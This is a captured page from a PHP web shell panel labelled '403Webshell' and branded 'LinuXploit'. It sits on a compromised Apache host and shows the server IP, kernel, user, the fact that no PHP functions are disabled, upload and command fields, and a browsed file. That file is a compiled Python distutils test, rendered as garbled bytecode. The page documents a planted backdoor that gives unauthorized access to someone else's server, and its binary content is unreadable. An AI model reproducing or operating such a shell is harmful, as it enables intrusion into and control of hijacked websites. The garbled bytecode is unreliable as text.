403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.103
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/distutils/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/distutils/tests/__pycache__/test_dir_util.cpython-36.opt-1.pyc
3

x2_.�@s�dZddlZddlZddlZddlZddlmZddlmZm	Z	ddl
mZmZm
Z
mZmZddlmZddlmZddlmZGd	d
�d
ejej�Zdd�Zed
kr�ee��dS)zTests for distutils.dir_util.�N)�patch)�dir_util�errors)�mkpath�remove_tree�create_tree�	copy_tree�ensure_relative)�log)�support)�run_unittestcs|eZdZdd�Z�fdd�Z�fdd�Zdd�Zeje	j
jd	�d
�dd��Zd
d�Z
dd�Zdd�Zdd�Zdd�Z�ZS)�DirUtilTestCasecGs.t|�dkr|jj||�n|jj|�dS)Nr)�len�_logs�append)�self�msg�args�r�B/opt/alt/python36/lib64/python3.6/distutils/tests/test_dir_util.py�_logszDirUtilTestCase._logcsbtt|�j�g|_|j�}tjj|d�|_tjj|jd�|_	tjj|d�|_
tj|_
|jt_dS)NZdeep�hereZdeep2)�superr
�setUprZmkdtemp�os�path�join�root_target�target�target2r
�info�old_logr)rZtmp_dir)�	__class__rrrszDirUtilTestCase.setUpcs|jt_tt|�j�dS)N)r!r
r rr
�tearDown)r)r"rrr##szDirUtilTestCase.tearDowncCs�t|jdd�g}|j|j|�t|jdd�t|jdd�d|jd|jg}|j|j|�g|_t|jdd�d|jg}|j|j|�dS)Nr)�verbose�zcreating %sz'removing '%s' (and everything under it))rr�assertEqualrrr)r�wantedrrr�!test_mkpath_remove_tree_verbosity'sz1DirUtilTestCase.test_mkpath_remove_tree_verbosity�winz5This test is only appropriate for POSIX-like systems.cCsttjd�}tj|�t|jd�|jtjtj|j�j�d|@�t|jd�|jtjtj|j�j�d|@�dS)N�i�im)	r�umaskrrr&�stat�S_IMODE�st_moder)rr+rrr�test_mkpath_with_custom_mode8s

z,DirUtilTestCase.test_mkpath_with_custom_modecCstt|jdddgdd�|j|jg�t|jdd�d|jg}t|jdddgdd�|j|j|�t|jdd�dS)NZoneZtwoZthreer)r$zcreating %sr%)rrr&rr)rr'rrr�test_create_tree_verbosityEsz*DirUtilTestCase.test_create_tree_verbositycCs�t|jdd�t|j|jdd�|j|jg�t|jdd�t|jdd�tj	j
|jd�}t|d��}|jd�WdQRXd||jfg}t|j|jdd�|j|j|�t|jdd�t|jdd�dS)Nr)r$zok.txt�wzsome contentzcopying %s -> %sr%)
rrrrr&rrrrrr�open�write)r�a_file�fr'rrr�test_copy_tree_verbosityQsz(DirUtilTestCase.test_copy_tree_verbosityc
Cs�t|jdd�tjj|jd�}tjj|jd�}x0||fD]$}t|d��}|jd�WdQRXq8Wt|j|j�|j	tj
|j�dg�t|jdd�t|jdd�dS)Nr)r$zok.txtz
.nfs123abcr1zsome content)
rrrrrr2r3rrr&�listdirrr)rr4Znfs_filer5Zfhrrr�#test_copy_tree_skips_nfs_temp_filesfsz3DirUtilTestCase.test_copy_tree_skips_nfs_temp_filescCsPtjdkr,|jtd�d�|jtd�d�n |jtd�d�|jtd�d�dS)N�/z	/home/foozhome/fooz	some/pathzc:\home\fooz
c:home\foozhome\foo)r�sepr&r	)rrrr�test_ensure_relativeus

z$DirUtilTestCase.test_ensure_relativecCsLtdt�d��4|jtj��|jd}tj|d�WdQRXWdQRXdS)zK
        An exception in listdir should raise a DistutilsFileError
        z
os.listdir)Zside_effectr%N���)r�OSErrorZassertRaisesrZDistutilsFileErrorZtempdirsrr)r�srcrrr�#test_copy_tree_exception_in_listdir}s
z3DirUtilTestCase.test_copy_tree_exception_in_listdir)�__name__�
__module__�__qualname__rrr#r(�unittestZskipIf�sys�platform�
startswithr/r0r6r8r;r?�
__classcell__rr)r"rr
s
r
cCs
tjt�S)N)rCZ	makeSuiter
rrrr�
test_suite�srH�__main__)�__doc__rCrr,rDZ
unittest.mockrZ	distutilsrrZdistutils.dir_utilrrrrr	r
Zdistutils.testsrZtest.supportrZTempdirManagerZTestCaser
rHr@rrrr�<module>sv

Youez - 2016 - github.com/yon3zu
LinuXploit